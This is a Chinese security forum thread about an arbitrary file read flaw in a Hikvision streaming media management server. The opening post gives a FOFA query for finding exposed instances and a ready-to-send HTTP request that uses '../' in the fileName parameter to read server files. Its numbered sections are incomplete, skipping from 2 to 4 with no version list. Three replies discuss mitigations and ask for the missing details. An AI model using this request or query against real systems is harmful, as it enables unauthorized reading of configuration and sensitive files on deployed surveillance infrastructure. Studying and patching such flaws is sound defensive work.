海康威视任意文件读取漏洞
海康威视是以视频为核心的智能物联网解决方案和大数据服务提供商。杭州海康威视系统技术有限公司流媒体管理服务器存在任意文件读取漏洞。
1.漏洞描述
海康威视是以视频为核心的智能物联网解决方案和大数据服务提供商。杭州海康威视系统技术有限公司流媒体管理服务器存在任意文件读取漏洞。
2.影响版本4.fofa 查询语句
app="HIKVISION-综合安防管理平台"
5.漏洞复现
漏洞链接：http://127.0.0.1/serverLog/downFile.php?fileName=../web/html/serverLog/downFile.php
漏洞数据包如下:
GET /serverLog/downFile.php?fileName=../web/html/serverLog/downFile.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1
成功读取downFile.php 文件内容
Re: 海康威视任意文件读取漏洞
这个漏洞影响面挺广的，海康的流媒体服务器在很多安防项目里都有部署。通过 `fileName` 参数直接拼接 `../` 就能读取任意文件，看起来是没做路径过滤。楼主方便补充一下影响的具体版本号或者固件范围吗？这样我们排查起来更有针对性。另外建议官方尽快升级或打补丁，临时的话可以先检查一下 `/serverLog/downFile.php` 的访问权限，或者用 WAF 拦截路径穿越特征。Re: 海康威视任意文件读取漏洞
感谢楼主分享这个漏洞情报。海康威视设备在安防领域应用非常广泛，这个任意文件读取漏洞影响面可能比较大，而且给出的利用方式也很清晰，攻击者可以通过`../`路径遍历读取服务器上的任意文件，比如配置文件、敏感数据等。建议使用相关产品的用户尽快排查是否受影响，并联系厂商获取补丁或临时缓解措施（比如限制`downFile.php`的访问权限、过滤`fileName`参数中的`..`等）。另外，楼主贴出的fofa查询语句部分似乎不完整，如果能补充上会更有助于用户自查。再次感谢提醒，安全无小事。Re: 海康威视任意文件读取漏洞
感谢楼主分享这个漏洞情报。海康威视的设备覆盖面很广，这个任意文件读取漏洞确实需要重视。请问影响版本具体是哪些？另外，fofa查询语句没有贴出来，方便补充一下吗？
页:
[1]